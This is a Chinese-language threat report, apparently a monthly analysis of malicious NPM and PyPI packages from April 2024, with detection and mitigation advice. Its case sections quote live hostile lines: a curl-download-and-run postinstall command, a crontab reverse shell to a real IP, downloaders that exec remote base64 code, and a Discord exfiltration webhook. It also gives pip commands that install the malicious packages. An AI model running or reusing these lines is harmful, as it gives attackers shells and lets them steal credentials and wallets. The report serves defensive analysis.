供应链投毒预警 | 开源供应链投毒202404月报发布(含投毒案例分析)
字数 2740 2025-08-19 12:41:50
开源供应链投毒攻击分析与防范指南
一、供应链投毒概述
开源供应链投毒是指攻击者通过向开源软件仓库(如NPM、PyPI等)上传包含恶意代码的组件包,利用开发者对这些仓库的信任,在开发者安装或更新依赖时植入恶意代码的攻击行为。
1.1 2024年4月投毒数据统计
- 总捕获量:772个不同版本的恶意组件包
- 仓库分布:
- NPM仓库占比:89%
- PyPI仓库占比:11%
- 趋势变化:PyPI仓库在3月遭受集中投毒后加强了审查,4月投毒数量大幅下降
二、投毒攻击方式分析
2.1 主要攻击方式统计
| 攻击方式 | 占比 | 描述 |
|---|---|---|
| 恶意文件执行 | 84.25% | 利用包管理器自定义指令执行隐藏的恶意文件 |
| 恶意文件下载 | 8.64% | 从远程服务器下载并执行恶意文件 |
| 代码混淆执行 | 4.81% | 使用编码/混淆技术隐藏恶意代码 |
| 恶意文件释放 | 1.20% | 释放恶意文件到系统并执行 |
| Shell命令执行 | 1.09% | 直接执行恶意Shell命令 |
2.2 恶意行为统计
- 信息窃取:占比93%,主要目标包括:
- 系统基础信息
- 系统密码文件(/etc/passwd)
- 系统日志
- 用户信息
- 网络配置
- DNS服务器IP
- 浏览器Cookie及登录凭证
- 其他恶意行为:
- CStealer窃密后门(PyPI)
- 挖矿后门
- 远控木马和反向Shell后门(呈上升趋势)
- 数字钱包应用攻击(较3月有所减少)
三、典型投毒案例分析
3.1 系统信息外传攻击(PyPI)
样本:rhermann系列包(rhermann, rhermann-ct, rhermann-sdsm, rhermann-sds)
特征:
- 高版本号(99.0),疑似依赖混淆攻击
- 恶意代码植入setup.py
- 收集信息包括:系统版本、主机名、用户名、网络配置、DNS配置、主机IP
- 外传至攻击者服务器:
https://pypi-index.org/process_data - 迷惑性域名:pypi-index.org(注册于2024年4月10日)
影响:
- Pypi官方下载量:758次
- 仍可从国内镜像源(如清华大学、腾讯云)下载
测试命令:
pip3 install rhermann -i https://pypi.tuna.tsinghua.edu.cn/simple
3.2 恶意Shell命令执行(NPM)
样本:monopulips
攻击链:
- package.json中定义postinstall指令
- 执行恶意bash命令:
bash -c 'curl -sSL https://research20934i.sherlockshat007.workers.dev -o script.sh && chmod +x script.sh && ./script.sh && rm -f script.sh'
- 第二阶段脚本包含编码的bash代码(base64+反转)
- 最终窃取:
- /etc/passwd
- ~/.bash_history
- 系统信息
- 外传至:
https://8b53a8d8a1c2.sherlockshat007.workers.dev
关联样本:PyPI的lyft-core(999.3.9)使用相似技术
3.3 反向Shell后门(PyPI)
样本:user-agents-parser, user-agents-parsers
特征:
- 伪装知名UserAgent解析库
- 恶意代码位于user-agents/parsers.py
- 通过crontab实现持久化:
__import__("os").system("(crontab -l > .tab ; echo \"*/5 * * * * bin/bash -c '/bin/bash -i >& /dev/tcp/95.179.177.74/1337 0>&1'\" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1")
- 反弹Shell至:95.179.177.74:1337
影响:
- 总下载量:904次
- 仍可从国内镜像源下载
测试命令:
pip3 install user-agents-parsers -i https://pypi.tuna.tsinghua.edu.cn/simple
3.4 CStealer后门攻击(PyPI)
样本:multiplerequests, multihttp, multihttps
攻击链:
- setup.py中第一阶段恶意代码:
from urllib import request
package_url = "https://frvezdffvv.pythonanywhere.com/getpackage"
package_name = request.urlopen(package_url).read()
exec(base64.b64decode(package_name))
- 下载执行第二阶段base64编码的CStealer变种
- 功能包括:
- 收集系统敏感信息
- 收集浏览器隐私数据
- 收集数字钱包应用数据
- 系统屏幕截屏
- 开机自启动
- 数据外传至Discord webhook:
https://discord.com/api/webhooks/1232850034068951061/T9KYVDomdrducNo_ruHMwHqxePkIfSiKJumxUHggS82EhLTCviZT5F_JOiqVnnP9p6VW
影响:
- 总下载量:超过2200次
- 仍可从国内镜像源下载
测试命令:
pip3 install multihttps -i https://pypi.tuna.tsinghua.edu.cn/simple
3.5 恶意木马植入
NPM样本:djs-log(1.1.0, 1.1.1)
- 伪装discord.js组件
- package.json中preinstall执行shell命令
- 混淆的index.js从discord CDN拉取Uninstall-Node.js.exe
- VT检测:3款杀毒引擎报毒
PyPI样本:reqargs
- setup.py中下载执行windows.exe
- 下载源:Dropbox服务器
- VT检测:多款杀毒引擎报毒
3.6 数字钱包窃密劫持(PyPI)
样本:useragent-api(3.1.1, 3.1.4, 3.1.5)
攻击链:
- init.py中hex编码的第一阶段代码
- 解码后拉取第二阶段代码:
import requests; exec(requests.get("https://rentry.co/9sdyip8p/raw").text)
- 第三阶段PowerShell代码(base64编码)
- 第四阶段功能:
- 收集用户口令数据(匹配钱包助记词、私钥等关键字)
- 收集Exodus、Electrum、Monero钱包数据
- 篡改劫持钱包应用(替换app.asar)
- 系统屏幕截屏
- 数据外传至Telegram bot API
影响:
- 下载量:860次
3.7 挖矿后门(PyPI)
样本:py-colorprinting(0.1.1-0.1.5)
特征:
- 伪装colorprint模块
- colorpr/init.py加载恶意core.py
- 下载执行挖矿程序ore-miner.zip
- 矿池地址:
- https://jupiter-frontend.rpc-pool.com
- https://raydium-raydium-5ad5.mainnet.rpc-pool.com
影响:
- 下载量:864次
- 仍可从国内镜像源下载
测试命令:
pip3 install py-colorprinting -i https://pypi.tuna.tsinghua.edu.cn/simple
四、投毒组件排查方法
使用OpenSCA-cli工具进行扫描:
- 创建db.json文件(示例):
[
{
"product": "monopulips",
"version": "[0.1.0, 0.1.5]",
"language": "javascript",
"id": "XMIRROR-MAL45-31C14E5C",
"description": "NPM组件monopulips存在恶意代码,远程下载恶意bash命令执行。",
"release_date": "2024-04-02"
},
// 其他组件...
]
- 执行扫描:
opensca-cli -db db.json -path ${project_path}
五、防范建议
-
依赖源管理:
- 优先使用官方源
- 谨慎使用第三方镜像源
- 建立企业内部镜像源
-
依赖审查:
- 检查组件声誉和下载量
- 审查新引入依赖的代码
- 使用SBOM工具跟踪组件依赖
-
安全工具:
- 使用OpenSCA等SCA工具定期扫描
- 部署终端防护软件
- 实施网络流量监控
-
开发实践:
- 锁定依赖版本
- 最小化依赖原则
- 定期更新依赖并审查变更
-
应急响应:
- 建立供应链安全事件响应流程
- 保留可快速隔离受影响系统的能力
- 定期备份关键数据和配置
六、总结
开源供应链投毒攻击呈现以下趋势:
- NPM仓库是主要攻击目标
- 信息窃取仍是主流攻击目的
- 针对数字钱包和挖矿的攻击日益严重
- 攻击手法多样化,包括依赖混淆、多阶段加载、代码混淆等
开发者应提高安全意识,建立完善的供应链安全管理体系,使用专业工具进行持续监测和防护。